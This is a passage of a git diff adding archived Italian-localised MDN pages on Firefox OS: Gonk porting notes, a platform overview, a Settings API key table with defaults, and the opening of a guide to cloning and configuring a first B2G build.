+<p>Gli OEM sono responsabilii per la creazione, compilazione, testing, certificazione e distribuzione dell'immagine di Firefox OS per uno specifico dispositivo. Per quanto riguarda la versione di Gonk di queste immagini di Firefox OS gli OEM sono responsabili per la maggior parte degli sforzi al fine di garantire la compatibilità tra le chiamate delle Web API e le funzioni dell'hardware del dispositivo. Il tipo e lo scopo dello sforzo richiesto è fortemente dipendente dallo specifico chipset utilizzato nel telefono (e dagli altri componenti).</p>
+
+<h3 id="Componenti_del_dispositivo">Componenti del dispositivo</h3>
+
+<p>Gli OEM collaborano con i produttori del chipset e con gli ODM per rendere disponibili tutti i componenti relativi allo specifico dispositivo, al fine di far funzionare correttamente il sistema operativo. Per esempio, il produttore della scheda Wi-Fi dovrebbe fornire il chipset e il software affiliato. Questi componenti possono includere:</p>
+
+<ul>
+ <li>Driver - Per le funzionalità telefoniche, come modem (dati e voce), Wi-Fi, Bluetooth, display, fotocamera, audio e così via.</li>
+ <li>Firmware - Qualche componente (ad esempio la scheda di rete) potrebbe caricare il firmware tramite la memoria flash.</li>
+ <li>Demone di sistema - Per l'invocazione e la gestione di vari componenti hardware. Questo include supporto per librerie e script di avvio.</li>
+</ul>
+
+<h3 id="Integrazione_tra_Gonk_e_Gecko">Integrazione tra Gonk e Gecko</h3>
+
+<p>Gli OEM devono assicurare che le funzionalità hardware del dispositivo mobile siano correttamente e completamente aperte alle implementazioni per le Web API di Gecko. Questo prevede:</p>
+
+<ul>
+ <li>Costruire o adattare (in Gonk) i demoni di sistema assieme ai driver associati o al firmware per gestire le funzionalità hardware.</li>
+ <li>Impostare (in b2g) tutti i metodi richiesti per la comunicazione tra i demoni di sistema.</li>
+</ul>
+
+<p><strong style="font-size: 2.143rem; font-weight: 700; letter-spacing: -1px;">Codice sorgente di Gonk</strong></p>
+
+<p>Il <a href="https://github.com/mozilla-b2g/B2G">repository principale di B2G su Github</a> contiene il progetto supportato per i port di Gonk su vari terminali. Lo si può quindi considerare come il repository di Gonk. La lista dei terminali supportati è disponibile nel file <code>B2G/config.sh</code>.</p>
+
+<p>La maggior parte del lavoro quotidiano su Gonk consiste nel porting del sistema su diverse piattaforme e nell'assicurarsi che Gecko funzioni bene su questi terminali.</p>
+
+<dl>
+</dl>
+
+<p> </p>
diff --git a/files/it/archive/b2g_os/platform/index.html b/files/it/archive/b2g_os/platform/index.html
new file mode 100644
index 0000000000..5708ef1ee5
--- /dev/null
+++ b/files/it/archive/b2g_os/platform/index.html
@@ -0,0 +1,82 @@
+---
+title: The Firefox OS platform
+slug: Archive/B2G_OS/Platform
+tags:
+  - B2G
+  - Firefox OS
+  - Landing
+  - NeedsTranslation
+  - TopicStub
+translation_of: Archive/B2G_OS/Platform
+---
+<p>The Firefox OS platform consists of many components. While you don't need to understand its architecture in order to build applications that run on Firefox OS, if you're working on developing or porting the platform—or are simply curious—the following documentation may be of interest to you.</p>
+<table class="topicpage-table">
+  <tbody>
+    <tr>
+      <td>
+        <h2 class="Documentation" id="Documentation" name="Documentation">Documentation about the Firefox OS platform</h2>
+        <dl>
+          <dt>
+            <a href="/en-US/docs/Mozilla/Firefox_OS/Platform/Gaia" title="/en-US/docs/Mozilla/Firefox_OS/Platform/Gaia">Gaia</a></dt>
+          <dd>
+            Documentation about Gaia, the user interface application for Firefox OS devices; this is a Web application running atop the Firefox OS software stack.</dd>
+          <dt>
+            <a href="/en-US/docs/Mozilla/Firefox_OS/Platform/Gonk" title="/en-US/docs/Mozilla/Firefox_OS/Platform/Gonk">Gonk</a></dt>
+          <dd>
+            Documentation about Gonk, the operating system layer underneath Gaia. This consists of a Linux kernel and a hardware abstraction layer to which Gecko communicates.</dd>
+          <dt>
+            <a href="/en-US/docs/Mozilla/Gecko" title="/en-US/docs/Mozilla/Gecko">Gecko</a></dt>
+          <dd>
+            Gecko is the layer of Firefox OS that provides the same open web standards implementation used by Firefox and Thunderbird, as well as many other applications.</dd>
+          <dt>
+            <a href="/en-US/docs/Mozilla/Firefox_OS/Security" title="/en-US/docs/Mozilla/Firefox_OS/Security"> Security</a></dt>
+          <dd>
+            Documentation about security in Firefox OS; this includes topics about security devices from every perspective: for app developers, device integrators, and so forth.</dd>
+          <dt>
+            <a href="/en-US/docs/Mozilla/Firefox_OS/Platform/Feature_support_chart" title="/en-US/docs/Mozilla/Firefox_OS/Platform/Feature_support_chart">Feature support chart</a></dt>
+          <dd>
+            A chart of which features are available in which types of Firefox OS builds.</dd>
+          <dt>
+            <a href="/en-US/docs/Mozilla/Firefox_OS/Platform/Architecture" title="/en-US/docs/Mozilla/Firefox_OS/Platform/Architecture">Firefox OS architecture overview</a></dt>
+          <dd>
+            An overview of how Firefox OS is structured internally; this is primarily of interest to platform developers and people doing porting work.</dd>
+          <dt>
+            <a href="/en-US/docs/Mozilla/Firefox_OS/Platform/Apps_architecture" title="/en-US/docs/Mozilla/Firefox_OS/Platform/Apps_architecture">Firefox OS apps architecture</a></dt>
+          <dd>
+            An overview of the application model on Firefox OS.</dd>
+          <dt>
+            <a href="/en-US/docs/Mozilla/Firefox_OS/Platform/Settings_list" title="/en-US/docs/Mozilla/Firefox_OS/Platform/Settings_list">Firefox OS settings list</a></dt>
+          <dd>
+            A list of common setting names that can be used with the <a href="/en-US/docs/WebAPI/Settings" title="/en-US/docs/WebAPI/Settings">Settings</a> API.</dd>
+        </dl>
+        <p><span class="alllinks"><a href="/en-US/docs/tag/B2G" title="/en-US/docs/tag/B2G">View All...</a></span></p>
+      </td>
+      <td>
+        <h2 class="Community" id="Community" name="Community">Getting help from the community</h2>
+        <p>If you're working with Firefox OS, or developing applications you'd like to run on Firefox OS devices, there are community resources to help you!</p>
+        <ul>
+          <li>Consult the Boot to Gecko project forum: {{ DiscussionList("dev-b2g", "mozilla.dev.b2g") }}</li>
+        </ul>
+        <ul>
+          <li>Ask your question on Mozilla's Boot to Gecko IRC channel: <a class="link-irc" href="irc://irc.mozilla.org/b2g" title="irc://irc.mozilla.org/b2g">#b2g</a></li>
+        </ul>
+        <p><span class="alllinks"><a class="external" href="http://www.catb.org/~esr/faqs/smart-questions.html" title="http://www.catb.org/~esr/faqs/smart-questions.html">Don't forget about the <em>netiquette</em>...</a></span></p>
+        <br>
+        <h2 class="Related_Topics" id="Related_Topics" name="Related_Topics">Related topics</h2>
+        <ul>
+          <li><a href="/en-US/docs/Mobile" title="en-US/docs/Mobile">Mobile</a></li>
+          <li><a href="/en-US/docs/HTML" title="en-US/docs/HTML">HTML</a></li>
+          <li><a href="/en-US/docs/CSS" title="en-US/docs/CSS">CSS</a></li>
+          <li><a href="/en-US/docs/JavaScript" title="en-US/docs/JavaScript">JavaScript</a></li>
+        </ul>
+        <h2 class="Tools" id="Resources">Resources</h2>
+        <ul>
+          <li><a class="link-https" href="https://wiki.mozilla.org/B2G/FAQ" title="B2G/FAQ">Mozilla wiki FAQ</a></li>
+          <li><a class="link-https" href="https://wiki.mozilla.org/B2G/Schedule_Roadmap" title="https://wiki.mozilla.org/B2G/Schedule_Roadmap">Roadmap</a></li>
+          <li><a href="/en-US/docs/Mozilla/Firefox_OS/Feature_support_chart" title="/en-US/docs/Mozilla/Firefox_OS/Feature_support_chart">Feature support chart</a></li>
+        </ul>
+      </td>
+    </tr>
+  </tbody>
+</table>
+<p> </p>
diff --git a/files/it/archive/b2g_os/platform/settings_list/index.html b/files/it/archive/b2g_os/platform/settings_list/index.html
new file mode 100644
index 0000000000..8e8f22eb2d
--- /dev/null
+++ b/files/it/archive/b2g_os/platform/settings_list/index.html
@@ -0,0 +1,719 @@
+---
+title: Lista delle impostazioni di Firefox OS
+slug: Archive/B2G_OS/Platform/Settings_list
+tags:
+  - API
+  - Firefox OS
+  - Reference
+  - Settings
+  - WebAPI
+translation_of: Archive/B2G_OS/Platform/Settings_list
+---
+<div class="summary">
+<p><span class="seoSummary">Firefox OS offre diverse opzioni per configurare il dispositivo e le sue caratteristiche predefinite. Queste possono essere utilizzate da app certificate usando le<a href="/en-US/docs/WebAPI/Settings" title="/en-US/docs/WebAPI/Settings"> API Settings</a>.</span></p>
+</div>
+
+<div class="note">
+<p><strong>Note:</strong> A causa delle diverse caratteristiche dei dispositivi e delle versioni di Firefox OS, questa lista potrebbe non corrispondere perfettamente alle funzioni effettivamente disponibili su ciascun dispositivo.</p>
+</div>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Nome dell'impostazione</th>
+   <th scope="col">Tipo</th>
+   <th scope="col">Valore di default</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>accessibility.invert</code></td>
+   <td>Boolean</td>
+   <td><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>accessibility.screenreader</code></td>
+   <td>Boolean</td>
+   <td><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>alarm.enabled</code></td>
+   <td>Boolean</td>
+   <td><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>app.reportCrashes</code></td>
+   <td>String</td>
+   <td><code>ask</code></td>
+  </tr>
+  <tr>
+   <td><code>app.update.interval</code></td>
+   <td>Number</td>
+   <td>86400</td>
+  </tr>
+  <tr>
+   <td><code>audio.volume.alarm</code></td>
+   <td>Number</td>
+   <td>15</td>
+  </tr>
+  <tr>
+   <td><code>audio.volume.bt_sco</code></td>
+   <td>Number</td>
+   <td>15</td>
+  </tr>
+  <tr>
+   <td><code>audio.volume.dtmf</code></td>
+   <td>Number</td>
+   <td>15</td>
+  </tr>
+  <tr>
+   <td><code>audio.volume.content</code></td>
+   <td>Number</td>
+   <td>15</td>
+  </tr>
+  <tr>
+   <td><code>audio.volume.notification</code></td>
+   <td>Number</td>
+   <td>15</td>
+  </tr>
+  <tr>
+   <td><code>audio.volume.tts</code></td>
+   <td>Number</td>
+   <td>15</td>
+  </tr>
+  <tr>
+   <td><code>audio.volume.telephony</code></td>
+   <td>Number</td>
+   <td>5</td>
+  </tr>
+  <tr>
+   <td><code>bluetooth.enabled</code></td>
+   <td>Boolean</td>
+   <td><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>bluetooth.debugging.enabled</code></td>
+   <td>Boolean</td>
+   <td><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>camera.shutter.enabled</code></td>
+   <td>Boolean</td>
+   <td><code>true</code></td>
+  </tr>
+  <tr>
+   <td><code>clear.remote-windows.data</code></td>
+   <td>Boolean</td>
+   <td><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>debug.grid.enabled</code></td>
+   <td>Boolean</td>
+   <td><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>debug.oop.disabled</code></td>
+   <td>Boolean</td>
+   <td><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>debug.fps.enabled</code></td>
+   <td>Boolean</td>
+   <td><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>debug.ttl.enabled</code></td>
+   <td>Boolean</td>
+   <td><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>debug.log-animations.enabled</code></td>
+   <td>Boolean</td>
+   <td><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>debug.paint-flashing.enabled</code></td>
+   <td>Boolean</td>
+   <td><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>debug.peformancedata.shared</code></td>
+   <td>Boolean</td>
+   <td><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>deviceinfo.firmware_revision</code></td>
+   <td>String</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>deviceinfo.hardware</code></td>
+   <td>String</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>deviceinfo.os</code></td>
+   <td>String</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>deviceinfo.platform_build_id</code></td>
+   <td>String</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>deviceinfo.platform_version</code></td>
+   <td>String</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>deviceinfo.software</code></td>
+   <td>String</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>deviceinfo.update_channel</code></td>
+   <td>String</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>gaia.system.checkForUpdates</code></td>
+   <td>Boolean</td>
+   <td><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>general.useragent.updates.enabled</code></td>
+   <td>Boolean</td>
+   <td><code>true</code></td>
+  </tr>
+  <tr>
+   <td><code>geolocation.enabled</code></td>
+   <td>Boolean</td>
+   <td><code>true</code></td>
+  </tr>
+  <tr>
+   <td><code>keyboard.layouts.english</code></td>
+   <td>Boolean</td>
+   <td><code>true</code></td>
+  </tr>
+  <tr>
+   <td><code>keyboard.layouts.dvorak</code></td>
+   <td>Boolean</td>
+   <td><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>keyboard.layouts.otherlatins</code></td>
+   <td>Boolean</td>
+   <td><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>keyboard.layouts.cyrillic</code></td>
+   <td>Boolean</td>
+   <td><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>keyboard.layouts.arabic</code></td>
+   <td>Boolean</td>
+   <td><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>keyboard.layouts.hebrew</code></td>
+   <td>Boolean</td>
+   <td><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>keyboard.layouts.zhuyin</code></td>
+   <td>Boolean</td>
+   <td><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>keyboard.layouts.pinyin</code></td>
+   <td>Boolean</td>
+   <td><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>keyboard.layouts.greek</code></td>
+   <td>Boolean</td>
+   <td><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>keyboard.layouts.japanese</code></td>
+   <td>Boolean</td>
+   <td><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>keyboard.layouts.polish</code></td>
+   <td>Boolean</td>
+   <td><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>keyboard.layouts.portuguese</code></td>
+   <td>Boolean</td>
+   <td><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>keyboard.layouts.spanish</code></td>
+   <td>Boolean</td>
+   <td><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>keyboard.vibration</code></td>
+   <td>Boolean</td>
+   <td><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>keyboard.clicksound</code></td>
+   <td>Boolean</td>
+   <td><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>keyboard.autocorrect</code></td>
+   <td>Boolean</td>
+   <td><code>true</code></td>
+  </tr>
+  <tr>
+   <td><code>keyboard.wordsuggestion</code></td>
+   <td>Boolean</td>
+   <td><code>true</code></td>
+  </tr>
+  <tr>
+   <td><code>keyboard.current</code></td>
+   <td>String</td>
+   <td><code>en</code></td>
+  </tr>
+  <tr>
+   <td><code>language.current</code></td>
+   <td>String</td>
+   <td><code>en-US</code></td>
+  </tr>
+  <tr>
+   <td><code>lockscreen.passcode-lock.code</code></td>
+   <td>String</td>
+   <td><code>0000</code></td>
+  </tr>
+  <tr>
+   <td><code>lockscreen.passcode-lock.timeout</code></td>
+   <td>Number</td>
+   <td>0</td>
+  </tr>
+  <tr>
+   <td><code>lockscreen.passcode-lock.enabled</code></td>
+   <td>Boolean</td>
+   <td><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>lockscreen.notifications-preview.enabled</code></td>
+   <td>Boolean</td>
+   <td><code>true</code></td>
+  </tr>
+  <tr>
+   <td><code>lockscreen.enabled</code></td>
+   <td>Boolean</td>
+   <td><code>true</code></td>
+  </tr>
+  <tr>
+   <td><code>lockscreen.locked</code></td>
+   <td>Boolean</td>
+   <td><code>true</code></td>
+  </tr>
+  <tr>
+   <td><code>lockscreen.unlock-sound.enabled</code></td>
+   <td>Boolean</td>
+   <td><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>mail.sent-sound.enabled</code></td>
+   <td>Boolean</td>
+   <td><code>true</code></td>
+  </tr>
+  <tr>
+   <td><code>message.sent-sound.enabled</code></td>
+   <td>Boolean</td>
+   <td><code>true</code></td>
+  </tr>
+  <tr>
+   <td><code>operatorvariant.mcc</code></td>
+   <td>String</td>
+   <td><code>0</code></td>
+  </tr>
+  <tr>
+   <td><code>operatorvariant.mnc</code></td>
+   <td>String</td>
+   <td><code>0</code></td>
+  </tr>
+  <tr>
+   <td><code>ril.iccInfo.mbdn</code></td>
+   <td>String</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>ril.sms.strict7BitEncoding.enabled</code></td>
+   <td>Boolean</td>
+   <td><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>ril.cellbroadcast.searchlist</code></td>
+   <td>String</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>debug.console.enabled</code></td>
+   <td>Boolean</td>
+   <td><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>phone.ring.keypad</code></td>
+   <td>Boolean</td>
+   <td><code>true</code></td>
+  </tr>
+  <tr>
+   <td><code>powersave.enabled</code></td>
+   <td>Boolean</td>
+   <td><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>powersave.threshold</code></td>
+   <td>Number</td>
+   <td>0</td>
+  </tr>
+  <tr>
+   <td><code>privacy.donottrackheader.enabled</code></td>
+   <td>Boolean</td>
+   <td><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>ril.callwaiting.enabled</code></td>
+   <td> </td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>ril.cf.enabled</code></td>
+   <td>Boolean</td>
+   <td><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>ril.data.enabled</code></td>
+   <td>Boolean</td>
+   <td><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>ril.data.apn</code></td>
+   <td>String</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>ril.data.carrier</code></td>
+   <td>String</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>ril.data.defaultServiceId</code></td>
+   <td>Number</td>
+   <td>0</td>
+  </tr>
+  <tr>
+   <td><code>ril.data.passwd</code></td>
+   <td>String</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>ril.data.httpProxyHost</code></td>
+   <td>String</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>ril.data.httpProxyPort</code></td>
+   <td>Number</td>
+   <td>0</td>
+  </tr>
+  <tr>
+   <td><code>ril.data.mmsc</code></td>
+   <td>String</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>ril.data.mmsproxy</code></td>
+   <td>String</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>ril.data.mmsport</code></td>
+   <td>Number</td>
+   <td>0</td>
+  </tr>
+  <tr>
+   <td><code>ril.data.roaming_enabled</code></td>
+   <td>Boolean</td>
+   <td><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>ril.data.user</code></td>
+   <td>String</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>ril.mms.apn</code></td>
+   <td>String</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>ril.mms.carrier</code></td>
+   <td>String</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>ril.mms.httpProxyHost</code></td>
+   <td>String</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>ril.mms.httpProxyPort</code></td>
+   <td>String</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>ril.mms.mmsc</code></td>
+   <td>String</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>ril.mms.mmsport</code></td>
+   <td>String</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>ril.mms.mmsproxy</code></td>
+   <td>String</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>ril.mms.passwd</code></td>
+   <td>String</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>ril.mms.user</code></td>
+   <td>String</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>ril.radio.preferredNetworkType</code></td>
+   <td>String</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>ril.radio.disabled</code></td>
+   <td>Boolean</td>
+   <td><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>ril.supl.apn</code></td>
+   <td>String</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>ril.supl.carrier</code></td>
+   <td>String</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>ril.supl.httpProxyHost</code></td>
+   <td>String</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>ril.supl.httpProxyPort</code></td>
+   <td>String</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>ril.supl.passwd</code></td>
+   <td>String</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>ril.supl.user</code></td>
+   <td>String</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>ril.sms.strict7BitEncoding.enabled</code></td>
+   <td>Boolean</td>
+   <td><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>ril.sms.</code>defaultServiceId</td>
+   <td>Number</td>
+   <td>0</td>
+  </tr>
+  <tr>
+   <td><code>ril.telephony.</code>defaultServiceId</td>
+   <td>Number</td>
+   <td>0</td>
+  </tr>
+  <tr>
+   <td><code>ring.enabled</code></td>
+   <td>Boolean</td>
+   <td><code>true</code></td>
+  </tr>
+  <tr>
+   <td><code>screen.automatic-brightness</code></td>
+   <td>Boolean</td>
+   <td><code>true</code></td>
+  </tr>
+  <tr>
+   <td><code>screen.brightness</code></td>
+   <td>Number</td>
+   <td>1</td>
+  </tr>
+  <tr>
+   <td><code>screen.timeout</code></td>
+   <td>Number</td>
+   <td>60</td>
+  </tr>
+  <tr>
+   <td><code>tethering.usb.enabled</code></td>
+   <td>Boolean</td>
+   <td><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>tethering.usb.ip</code></td>
+   <td>String</td>
+   <td><code>192.168.0.1</code></td>
+  </tr>
+  <tr>
+   <td><code>tethering.usb.prefix</code></td>
+   <td>String</td>
+   <td><code>24</code></td>
+  </tr>
+  <tr>
+   <td><code>tethering.usb.dhcpserver.startip</code></td>
+   <td>String</td>
+   <td><code>192.168.0.10</code></td>
+  </tr>
+  <tr>
+   <td><code>tethering.usb.dhcpserver.endip</code></td>
+   <td>String</td>
+   <td><code>192.168.0.30</code></td>
+  </tr>
+  <tr>
+   <td><code>tethering.wifi.enabled</code></td>
+   <td>Boolean</td>
+   <td><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>tethering.wifi.ip</code></td>
+   <td>String</td>
+   <td><code>192.168.1.1</code></td>
+  </tr>
+  <tr>
+   <td><code>tethering.wifi.prefix</code></td>
+   <td>String</td>
+   <td><code>24</code></td>
+  </tr>
+  <tr>
+   <td><code>tethering.wifi.dhcpserver.startip</code></td>
+   <td>String</td>
+   <td><code>192.168.1.10</code></td>
+  </tr>
+  <tr>
+   <td><code>tethering.wifi.dhcpserver.endip</code></td>
+   <td>String</td>
+   <td><code>192.168.1.30</code></td>
+  </tr>
+  <tr>
+   <td><code>tethering.wifi.ssid</code></td>
+   <td>String</td>
+   <td><code>FirefoxHotspot</code></td>
+  </tr>
+  <tr>
+   <td><code>tethering.wifi.security.type</code></td>
+   <td>String</td>
+   <td><code>open</code></td>
+  </tr>
+  <tr>
+   <td><code>tethering.wifi.security.password</code></td>
+   <td>String</td>
+   <td><code>1234567890</code></td>
+  </tr>
+  <tr>
+   <td><code>tethering.wifi.connectedClients</code></td>
+   <td>Number</td>
+   <td>0</td>
+  </tr>
+  <tr>
+   <td><code>tethering.usb.connectedClients</code></td>
+   <td>Number</td>
+   <td>0</td>
+  </tr>
+  <tr>
+   <td><code>time.nitz.automatic-update.enabled</code></td>
+   <td>Boolean</td>
+   <td><code>true</code></td>
+  </tr>
+  <tr>
+   <td><code>time.timezone</code></td>
+   <td> </td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>ums.enabled</code></td>
+   <td>Boolean</td>
+   <td><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>ums.mode</code></td>
+   <td>Number</td>
+   <td>0</td>
+  </tr>
+  <tr>
+   <td><code>vibration.enabled</code></td>
+   <td>Boolean</td>
+   <td><code>true</code></td>
+  </tr>
+  <tr>
+   <td><code>wifi.enabled</code></td>
+   <td>Boolean</td>
+   <td><code>true</code></td>
+  </tr>
+  <tr>
+   <td><code>wifi.screen_off_timeout</code></td>
+   <td>Number</td>
+   <td>600000</td>
+  </tr>
+  <tr>
+   <td><code>wifi.disabled_by_wakelock</code></td>
+   <td>Boolean</td>
+   <td><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>wifi.notification</code></td>
+   <td>Boolean</td>
+   <td><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>wifi.connect_via_settings</code></td>
+   <td>Boolean</td>
+   <td><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>icc.displayTextTimeout</code></td>
+   <td>Number</td>
+   <td>40000</td>
+  </tr>
+  <tr>
+   <td><code>icc.inputTextTimeout</code></td>
+   <td>Number</td>
+   <td>40000</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li><a href="/en-US/docs/WebAPI/Settings" title="/en-US/docs/WebAPI/Settings">Settings API</a></li>
+ <li>{{domxref("SettingsManager")}}</li>
+ <li>{{domxref("window.navigator.mozSettings", "navigator.mozSettings")}}</li>
+ <li><a href="https://github.com/mozilla-b2g/gaia/tree/master/build/config">File di configurazione nei repository gaia </a></li>
+</ul>
diff --git a/files/it/archive/b2g_os/preparazione_della_tua_prima_build_di_b2g/index.html b/files/it/archive/b2g_os/preparazione_della_tua_prima_build_di_b2g/index.html
new file mode 100644
index 0000000000..1190d4a7b9
--- /dev/null
+++ b/files/it/archive/b2g_os/preparazione_della_tua_prima_build_di_b2g/index.html
@@ -0,0 +1,132 @@
+---
+title: Preparazione della tua prima build di B2G
+slug: Archive/B2G_OS/Preparazione_della_tua_prima_build_di_B2G
+translation_of: Archive/B2G_OS/Preparing_for_your_first_B2G_build
+---
+<div class="summary">
+ <p>Before you can build B2G, you need to clone the repository and configure your build tree. This article explains how to do that. </p>
+</div>
+<p>Depending on your internet connection, the configuration step takes a number of hours to download the files necessary to build FirefoxOS (with a mediocre 150 kBps connection, downloading gigabytes of Android repositories can take tens of hours).  Waiting is not as fun as doing, so after you have read through this page and have kicked off the configure script, consider using the time to set up and try out the <a class="vt-p" href="/en-US/docs/Mozilla/Firefox_OS/Using_Firefox_OS_Simulator" title="/en-US/docs/Mozilla/Firefox_OS/Using_Firefox_OS_Simulator">Firefox OS simulator</a>, begin familiarizing yourself with <a class="vt-p" href="/en-US/docs/Apps" title="/en-US/docs/Apps">Documentation for app developers</a> including Designing and Building an App, or familiarize yourself with the information on upcoming steps.</p>
+<div class="note">
+ <p>You might want to have a side task prepared, or a friend available to go for a coffee with, while you are running the B2G config and build steps. They can take a bit of time.</p>
+</div>
+<h2 id="Clone_B2G_repository">Clone B2G repository</h2>
+<p>The first step, before you can start your first build, is to clone the B2G repository. This will not fetch everything! Instead, it will fetch the B2G build system and setup utilities. Most of the actual B2G code is in the main Mozilla <a class="vt-p" href="/en-US/docs/Mercurial" title="Mercurial">Mercurial</a> repository.</p>
+<p>To clone the repository, use git:</p>
+<pre>git clone git://github.com/mozilla-b2g/B2G.git</pre>
+<p>After cloning (which should only take a minute with a fast connection), <code>cd</code> into the B2G directory:</p>
+<pre>cd B2G
+</pre>
+<h2 id="Configuring_B2G_for_your_device">Configuring B2G for your device</h2>
+<div class="warning">
+ <strong>Important</strong>: Remember that only devices running <strong>Android 4.0.4</strong> (<strong>Ice Cream Sandwich</strong>)<strong>, 4.3 (Jelly Bean) and 4.4 (KitKat)</strong> and platforms based around it are supported (current Firefox OS devices are). Please check that your phone is actually running one of those supported versions, otherwise this step will most likely fail since some drivers are pulled from non-Nexus devices. Also, if you have to flash your device with the matching stock release. Keep in mind that some USB hubs don't work well with flashing tools, so you may have to connect your device to a built-in USB port.</div>
+<div class="warning">
+ <strong>Important</strong>: if you are doing the build on Ubuntu 12.10+ or Fedora, you will need to specify GCC 4.6 as the default host compiler after having retrieved the B2G sources, for the process to work (these distros use GCC 4.7 by default). Read <a class="vt-p" href="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox_OS/Customization_with_the_.userconfig_file#Changing_the_default_host_compiler">Changing the default host compiler</a> to find out how to do it.</div>
+<div class="note">
+ <strong>Note:</strong> <strong>please read all the instructions below</strong> before running any of the build process commands, to make sure you are doing the right thing for you!</div>
+<p>Once you've retrieved the core B2G build system, you need to configure it for the device on which you plan to install it. To get a list of supported devices, you can use the <code>config.sh</code> utility — run the following command from within the B2G directory:</p>
+<pre>./config.sh
+</pre>
+<p>This will display a list of the supported devices, like so:</p>
+<pre>Usage: ./config.sh [-cdflnq] (device name)
+Flags are passed through to |./repo sync|.
+
+Valid devices to configure are:
+- galaxy-s2
+- galaxy-nexus
+- nexus-4
+- nexus-s
+- nexus-s-4g
+- flo "(Nexus 7 2013)"
+- flame
+- otoro
+- unagi
+- inari
+- keon
+- peak
+- leo
+- hamachi
+- helix
+- wasabi
+- fugu
+- tara
+- pandaboard
+- emulator
+- emulator-jb
+- emulator-kk
+- emulator-x86
+- emulator-x86-jb
+- emulator-x86-kk
+</pre>
+<p>If your device isn't listed, you should stop right now and either help port B2G to your device or wait until someone else does it. We'd prefer it if you help out!</p>
+<div class="note">
+ <strong>Note:</strong> You can find the device name of your phone on the <a href="/en-US/Firefox_OS/Phones">Firefox OS Phones</a> page.</div>
+<div class="note">
